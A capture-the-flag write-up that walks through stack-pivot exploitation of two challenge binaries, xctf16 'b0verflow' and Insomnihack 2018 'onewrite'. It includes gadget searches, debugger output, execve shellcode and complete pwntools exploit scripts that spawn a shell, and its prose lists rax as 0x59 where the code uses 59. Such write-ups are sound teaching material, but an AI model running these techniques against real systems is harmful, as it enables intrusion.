xctf16_b0verflow
checksec:
[*] '/home/yuuoniy/MY-AEG/nightmare/modules/17-stack_pivot/xctf16_b0verflow/b0verflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Obviously, there is a stack overflow, while the overflow buffer only is 18 byte. as a result, we could utilize stack pivot technique.
we could place our shellcode on string s, then jump to here. so we need a jmp gadget. and hint() has this! (we could also use tool to find it)
ROPgadget --binary b0verflow | grep "sub esp"
0x080484fe : mov ebp, esp ; sub esp, 0x24 ; ret
0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
0x08048500 : sub esp, 0x24 ; ret
0x08048361 : sub esp, 8 ; call 0x8048439
16_b0verflow$ ROPgadget --binary b0verflow | grep "jmp esp"
0x08048502 : and al, 0xc3 ; jmp esp
0x08048501 : in al, dx ; and al, 0xc3 ; jmp esp
0x080484ff : in eax, 0x83 ; in al, dx ; and al, 0xc3 ; jmp esp
0x08048504 : jmp esp
exp:
from pwn import *
t = process("./b0verflow")
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jmp_esp = p32(0x08048504)
pivot = p32(0x080484fd)
payload = jmp_esp+shellcode+b"\x00"*(0x20-len(shellcode))+pivot
t.sendline(payload)
t.interactive()
insomnihack 2018 onewrite
[*] '/home/yuuoniy/Desktop/MY-AEG/nightmare/modules/17-stack_pivot/insomnihack18_onewrite/onewrite'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
first analyze the binary, and we have the ability to do leak and overwrite, however, only one time is allowed.
ideas:
- do partially overwrite to call do_leak multiple times.
- utilize rop chain to overwrite .fini_array
for the first time, we leak stack address.
set a breakpoint in do_leak return, and we could get the offset to overwrite the return address
pwndbg> i f
Stack level 0, frame at 0x7fffffffdb28:
rip = 0x7ffff7d52ab7 in do_leak; saved rip = 0x7ffff7d52b09
called by frame at 0x7fffffffdb40
Arglist at 0x7fffffffdb20, args:
Locals at 0x7fffffffdb20, Previous frame's sp is 0x7fffffffdb30
Saved registers:
rip at 0x7fffffffdb28
offset = 0x7fffffffdb28-address we leak = 0x18
.text:0000000000008B04 call do_leak
.text:0000000000008B09 nop
overwrite 09 to 04, then we could call do_leak multiple times.
after doing this, we could get both stack and PIE address.
next, let’s overwrite .fini_array
0x00007ffff7ff7fb0 - 0x00007ffff7ff7fc0 is .fini_array
let’s see the content in .fini_array, there are two entries, one we overwrite by __libc_csu_fini , the other by the address we want.
we need to construct a rop chain like this:
pop rdi ptr to "/bin/sh"; ret
pop rsi 0 ; ret
pop rdx 0 ; ret
pop rax 0x59 ; ret
syscall
using tool to find gadgets:
0x00000000000084fa : pop rdi ; ret
0x000000000000d9f2 : pop rsi ; ret
0x00000000000484c5 : pop rdx ; ret
0x00000000000460ac : pop rax ; ret
0x000000000000917c : syscall
and use add rsp gadget to pivot the stack, then execute our rop chain.
so we need to calculate the offset between the stack address we leak and value of rsp when gadget is executed.
next we also need to write ‘bin/sh’ to .bss, calculate the offset by
p address_of_bss - pie_address_we_leak
then we get the offset.
from pwn import *
p = process('./onewrite')
elf = ELF('onewrite')
context.terminal=["tmux","splitw","-h"]
def leak(opt):
p.recvuntil('>')
p.sendline(str(opt))
leak=p.recvline()
leak = int(leak,16)
return leak
def write(addr,value):
p.recvuntil("address :")
p.send(str(addr))
p.recvuntil("data :")
p.send(value)
stack_address = leak(1)
rip_addr = stack_address+0x18
csu_fini_rip = stack_address-72
write(rip_addr,p8(0x4))
do_leak_addr = leak(2)
pie_base = do_leak_addr-elf.symbols['do_leak']
fini_array_addr = pie_base+elf.symbols['__do_global_dtors_aux_fini_array_entry']
csu_fini=pie_base+elf.symbols["__libc_csu_fini"]
do_overwrite = pie_base+elf.symbols['do_overwrite']
write(rip_addr,p8(0x4))
leak(1)
write(fini_array_addr+8,p64(do_overwrite))
write(fini_array_addr,p64(do_overwrite))
write(csu_fini_rip,p64(csu_fini))
csu_fini_rip+=8
pop_rdi = pie_base+0x084fa
pop_rsi = pie_base+0x0d9f2
pop_rdx = pie_base+0x0484c5
pop_rax = pie_base+0x460ac
syscall = pie_base+0x917c
binsh_addr = do_leak_addr+0x2aa99b
pivot_gadget = pie_base+0x106f3
def write_qword(addr,val):
global csu_fini_rip
write(addr,p64(val))
write(csu_fini_rip,p64(csu_fini))
csu_fini_rip+=8
#gdb.attach(p)
write_qword(binsh_addr,u64("/bin/sh\x00"))
write_qword(stack_address+0xd0,pop_rdi)
write_qword(stack_address+0xd8,binsh_addr)
write_qword(stack_address+0xe0,pop_rsi)
write_qword(stack_address+0xe8,0)
write_qword(stack_address+0xf0,pop_rdx)
write_qword(stack_address+0xf8,0)
write_qword(stack_address+0x100,pop_rax)
write_qword(stack_address+0x108,59)
write_qword(stack_address+0x110,syscall)
write(stack_address-0x10,p64(pivot_gadget))
p.interactive()
reference: